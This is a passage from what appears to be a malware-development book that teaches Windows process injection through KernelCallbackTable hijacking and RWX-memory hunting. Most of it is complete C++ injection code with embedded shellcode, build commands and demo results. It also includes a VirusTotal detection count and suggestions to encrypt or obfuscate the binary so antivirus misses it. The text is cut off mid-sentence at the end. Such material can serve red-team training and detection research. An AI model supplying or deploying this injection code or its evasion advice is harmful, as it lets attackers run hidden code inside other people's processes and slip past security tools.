ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;

215
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;

216
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;

Then, find a window for mspaint.exe, obtain the process id and open it:
// find a window for mspaint.exe
HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

After that, read the PEB and existing table address:


HMODULE ntdll = GetModuleHandleA("ntdll");
pNtQueryInformationProcess myNtQueryInformationProcess =
(pNtQueryInformationProcess)(GetProcAddress(
ntdll, "NtQueryInformationProcess"));

myNtQueryInformationProcess(ph,
ProcessBasicInformation,
&pbi, sizeof(pbi), NULL);

ReadProcessMemory(ph, pbi.PebBaseAddress,
&peb, sizeof(peb), NULL);
ReadProcessMemory(ph, peb.KernelCallbackTable,
&kct, sizeof(kct), NULL);

Then, write our payload to remote process via VirtualAllocEx and


WriteProcessMemory:

217
LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

We use VirtualAllocEx which is allows to you to allocate memory buffer for


remote process, then, WriteProcessMemory allows you to copy data between
processes, so copy our payload to mspaint.exe process.
Write the new table to remote process:
LPVOID tb = VirtualAllocEx(ph, NULL, sizeof(kct),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)rb;
WriteProcessMemory(ph, tb, &kct, sizeof(kct), NULL);

Update the PEB:


WriteProcessMemory(ph,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&tb, sizeof(ULONG_PTR), NULL);

Trigger execution of payload:


cds.dwData = 1;
cds.cbData = lstrlen((LPCSTR)msg) * 2;
cds.lpData = msg;

SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);

Finally, restore original KernelCallbackTable:


WriteProcessMemory(ph,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&peb.KernelCallbackTable,
sizeof(ULONG_PTR), NULL);
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);

Here, to restore the original code and check if it restores normally, we called
SendMessage() again to verify that the code is not running.
So, full C++ code of our simple malware is:
/*
* hack.cpp - process injection via
* KernelCallbackTable. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/01/24/malware-injection-15.html
*/

218
#include <./ntddk.h>
#include <cstdio>
#include <cstddef>

#pragma comment(lib, "ntdll");

typedef struct _KERNELCALLBACKTABLE_T {


ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;

219
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;

220
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;

221
} KERNELCALLBACKTABLE;

// NtQueryInformationProcess
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main() {

HANDLE ph;
DWORD pid;
PROCESS_BASIC_INFORMATION pbi;
KERNELCALLBACKTABLE kct;
COPYDATASTRUCT cds;

222
PEB peb;
WCHAR msg[] = L"kernelcallbacktable injection impl";

// find a window for mspaint.exe


HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

HMODULE ntdll = GetModuleHandleA("ntdll");


pNtQueryInformationProcess myNtQueryInformationProcess =
(pNtQueryInformationProcess)(GetProcAddress(
ntdll, "NtQueryInformationProcess"));

myNtQueryInformationProcess(ph,
ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

ReadProcessMemory(ph, pbi.PebBaseAddress,
&peb, sizeof(peb), NULL);
ReadProcessMemory(ph, peb.KernelCallbackTable,
&kct, sizeof(kct), NULL);

LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),


MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

LPVOID tb = VirtualAllocEx(ph, NULL, sizeof(kct),


MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)rb;
WriteProcessMemory(ph, tb, &kct, sizeof(kct), NULL);

WriteProcessMemory(ph,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&tb, sizeof(ULONG_PTR), NULL);

cds.dwData = 1;
cds.cbData = lstrlen((LPCSTR)msg) * 2;
cds.lpData = msg;

SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);


WriteProcessMemory(ph,

223
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);

VirtualFreeEx(ph, rb, 0, MEM_RELEASE);


VirtualFreeEx(ph, tb, 0, MEM_RELEASE);
CloseHandle(ph);

return 0;
}

As usually, for simplicity, I used meow-meow messagebox payload:


unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to see everything in action. Compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ \
-I/home/.../cybersec_blog/2022-01-24-malware-injection-15/ \

224
-s -ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Then run it! In our case victim machine is Windows 10 x64:

225
We can see that everything was completed perfectly :)
An interesing observation: when I close meow messagebox window,
my mspaint.exe is crashed and recovered:

226
Moneta64.exe result:

Then, upload our malware to VirusTotal:

https://www.virustotal.com/gui/file/5fcd9b3c453c7e2ac9dcc48f358b3e7851ac
18edf13fb1658e29f90ffa2c5a74/detection
So, 7 of 67 AV engines detect our file as malicious.
I think this is due to the fact that the combination of VirtualAllocEx and
WriteProcessMemory functions is very suspicious and well known to AV engines
and malware analysts from blue teams.
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.

227
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
ntddk.h header
NtQueryInformationProcess
FindWindow
ReadProcessMemory
VirtualAllocEx
WriteProcessMemory
SendMessage
Moneta64.exe
source code in Github

28. process injection via RWX-memory hunting. Simple


C++ example.

This is a self-researching of another process injection technique.

RWX-memory hunting
Let’s take a look at logic of our classic code injection malware:
//...
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

228
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
//...

As you remember, we use VirtualAllocEx which is allows to us to allocate


memory buffer for remote process, then, WriteProcessMemory allows you to
copy data between processes. And CreateRemoteThread you can specify which
process should start the new thread.
What about another way? it is possible to enumerate currently running target
processes on the compromised system - search through their allocated memory
blocks and check if any those are protected with RWX, so we can attempt to
write/read/execute them, which may help to evasion some AV/EDR.

practical example
The flow is this technique is simple, let’s go to investigate its logic:
Loop through all the processes on the system:

Loop through all allocated memory blocks in each process:

Then, we check for memory block that is protected with RWX:

229
if ok, print our memory block (* for demonstration *):

write our payload to this memory block:

then start a new remote thread:

Full C++ source code of our malware is:

230
/*
hack.cpp
process injection technique via
RWX memory hunting
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/02/01/malware-injection-16.html
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

unsigned char my_payload[] =


// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


MEMORY_BASIC_INFORMATION m;
PROCESSENTRY32 pe;
LPVOID address = 0;
HANDLE ph;
HANDLE hSnapshot;
BOOL hResult;

231
pe.dwSize = sizeof(PROCESSENTRY32);

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);


if (INVALID_HANDLE_VALUE == hSnapshot) return -1;

hResult = Process32First(hSnapshot, &pe);

while (hResult) {
ph = OpenProcess(MAXIMUM_ALLOWED, false, pe.th32ProcessID);
if (ph) {
printf("hunting in %s\n", pe.szExeFile);
while (VirtualQueryEx(ph, address, &m, sizeof(m))) {
address = (LPVOID)(
(DWORD_PTR)m.BaseAddress + m.RegionSize);
if (m.AllocationProtect == PAGE_EXECUTE_READWRITE) {
printf("rwx memory successfully found at 0x%x :)\n",
m.BaseAddress);
WriteProcessMemory(ph, m.BaseAddress,
my_payload, sizeof(my_payload), NULL);
CreateRemoteThread(ph, NULL, NULL,
(LPTHREAD_START_ROUTINE)m.BaseAddress,
NULL, NULL, NULL);
break;
}
}
address = 0;
}
hResult = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
CloseHandle(ph);
return 0;
}

As usually, for simplicity I used meow-meow messagebox payload:


unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"

232
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to see everything in action. Compile our practical example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then run it! In our case victim machine is Windows 10 x64:

233
As you can see, everything is worked perfectly! :)
Let’s go to check one of our victim process, for example OneDrive:

234
There is a one caveat. The provided below code is a dirty proof-of-
concept and may crash certain processes. For example, in my case
